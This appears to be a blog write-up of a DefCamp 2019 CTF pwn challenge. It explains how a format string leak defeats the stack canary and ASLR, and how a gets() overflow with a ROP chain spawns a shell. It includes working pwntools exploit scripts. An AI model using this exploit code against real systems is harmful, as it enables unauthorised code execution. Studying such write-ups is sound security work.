Select Page

This is the second PWN challenge of the DefCamp CTF 2019 Qualification round. This challenge involved an ASLR, DEP, and Stack Canary bypass using a format string vulnerability and a buffer overflow vulnerability. We are supplied a binary and an IP and port.

We start off by seeing what kind of file this is.

 

We see that it’s an ELF 64-bit executable and it has not been stripped. This is good for us because when we decompile the binary we will be able to see some of the original variable and function names.

Let’s now check the security options. We use checksec to do so.

 

NX is enabled meaning we cannot execute code on the stack, which indicates that we would need to do a ROP chain in order to get code execution. We can also see that a Stack Canary is found. This makes our exploitation a little bit harder because we will need to bypass this Canary (which I’m going to call “cookie” from now on).

Ok, so now that we got this out of the way, let’s decompile the binary and see what’s inside. We fire up Ghidra and go to the main function.

 

Looking at the code we can already spot the first vulnerability. Notice how the variable local_58 is read from the user and then used by the printf() function on line 16. The printf() function has no string format predefined, so it prints whatever the user inserts without formatting it to a string. This means that there is a string format vulnerability here.

Let’s check this out by inserting a %p which will output the address of a 64-bit binary.

 

Bingo. We can see that an address is printed out from the stack.

Before we move on, let’s look at the decompiled binary and see what else it does. We can see that after we provide a username, the execution continues with the secret() function. If we look at that function in Ghidra we notice that on line 7 the local_98 variable is set to have a buffer of 136 bytes. This is then read as a user-supplied input on line 12 using gets().

 

Let’s quickly look at the man page for gets().

 

Oops…

So, let’s recap. We have a format string vulnerability and a classic buffer overflow vulnerability. We have to do a DEP, ASLR and Stack Cookie bypass.

Ok. Then let’s start dumping addresses on the stack and see what we get. I used this small python script to iterate through some addresses in order to dump the stack:

from pwn import *

ip = "206.81.24.129"
port = 1339

context.log_level = 'CRITICAL'
context(arch='amd64', os='linux', terminal='xterm')

stack = ''

for i in range(100):
	#p = remote(ip,port)
	p = process("./pwn_secret")
	payload = "AAAABBBB" + "%" + str(i) + "$p"

	p.recv(2000)
	p.sendline(payload)
	leak = p.recvline()
	p.recv(2000)
	p.sendline("CCCCDDDD")
	#print "i = " + str(i)
	p.recv(2000)
	leak_pretty = leak.split(' ')[1].replace("AAAABBBB",'')
	stack += leak_pretty + ' '
	p.close()

print '--------------'
print stack

 

When we run the code we get the following output:

 

Ok, now let’s open the binary in gdb, insert some input and check out how the stack looks like.

 

As we can see, we have our password buffer, a stack cookie, the base pointer and then the return address. After that the stack goes on with the name input buffer, a stack cookie again, the future base pointer of the stack and the future return address.

We can check to confirm that that’s the cookie by giving the canary command in pwndbg.

 

In order for us to see the stack layout better, let’s correlate the stack from gdb with the stack we got during our format string leak.

 

Here we can see things more clearly. On offset 6 of our leak, we find the start of the name buffer. Offset 15 is our cookie and offset 17 is the address of __libc_start_main+231. The last two addresses will be important for our exploit, so we will modify the leak to point to %15$p and %17$p.

We can test this out by manually inserting the format string in our binary.

 

Ok, so we now have a way to leak the stack cookie and an address somewhere in libc. Now we need to calculate the base address of libc. We can do this by first getting the offset of __libc_start_main from our libc. I use the following command:

readelf -s /lib/x86_64-linux-gnu/libc-2.27.so | grep __libc_start_main.

 

We also know from the gdb output that the address leaked is __libc_start_main+231, so we need to take this in account when calculating the base address.

231 is e7 in hex so our calculation for the base address will be:

Leak – offset of __libc_main_start – 0xe7 (231)

Perfect. So now we have all that we need.

We have a way to leak the stack cookie and the address of libc and we also have a buffer overflow vulnerability. We can now use a magic gadget to rewrite the return pointer of the binary and get a shell.

Because on the challenge server, the magic gadget failed, I’m going to show the manual way of directing the binary execution to call system(“/bin/sh”).

For this we need to calculate a few more things. First, we need the offset of system() which we can get using the command:

readelf -s /lib/x86_64-linux-gnu/libc-2.27.so | grep system

 

Then we will need the offset of the string “/bin/sh” from libc.

strings -a -t x /lib/x86_64-linux-gnu/libc-2.27.so | grep /bin/sh

 

We also need a pop rdi; ret; so we can place the string “/bin/sh” as an argument for the system() function. We can do this by using ropper.

 

The execution logic is the following:

We flood the assigned buffer of 136 with “A”’s, then overwrite the stack cookie with the one we managed to leak. After that, we place a dummy base pointer (in our case “B”’s) and then place our ROP chain for the return address.

The ROP chain consists of the address of pop rdi; ret; followed by the “/bin/sh” address and finally the system() address.

This basically jumps the execution of the binary to the pop rdi which places the “/bin/sh” string as an argument and then returns to the call system() address.

The final code for the exploit is as follows:

from pwn import *

ip = "206.81.24.129"
port = 1339

context.log_level = 'DEBUG'
context(arch='amd64', os='linux', terminal='xterm')

junk = "A" * 136
formatstr = "AAAABBBB%15$p %17$p"

#p = remote(ip,port)
p = process('./pwn_secret')
raw_input()
p.recv(2000)
p.sendline(formatstr)
leak = p.recvline()
leak_cookie = leak.split(' ')[1].replace("AAAABBBB",'').replace("
",'')
leak_libc = leak.split(' ')[2].replace("AAAABBBB",'').replace("
",'')
print "Stack cookie found: " + leak_cookie
print "Libc addr found: " + leak_libc
cookie = p64(int(leak_cookie, 16))
base = int(leak_libc, 16) - 0x21ab0 - 0xe7 # 0x21b97

'''
# Remote server does not work with one_gadget so we need to manually call system("/bin/sh"):
chain = p64(base + 0x2155f) # pop rdi; ret
chain += p64(base + 0x1b3e9a) # /bin/sh
chain += p64(base + 0x4f440) # call system
'''
one_gadget = p64(base + 0x4f2c5)

payload = junk + cookie + "BBBBBBBB" + one_gadget # + chain 

p.sendline(payload)

p.interactive()

 

If we run it we can see that we successfully manage to redirect the execution and open a shell.

 

Final thoughts:

The challenge was fairly straight forward, combining two vulnerabilities in order to bypass DEP, ASLR and Stack Canary. All in all, it was a nice experience to participate in the Qualification round of DefCamp 2019 CTF.

  • InfoSec enthusiast
  • Penetration tester
  • CTF player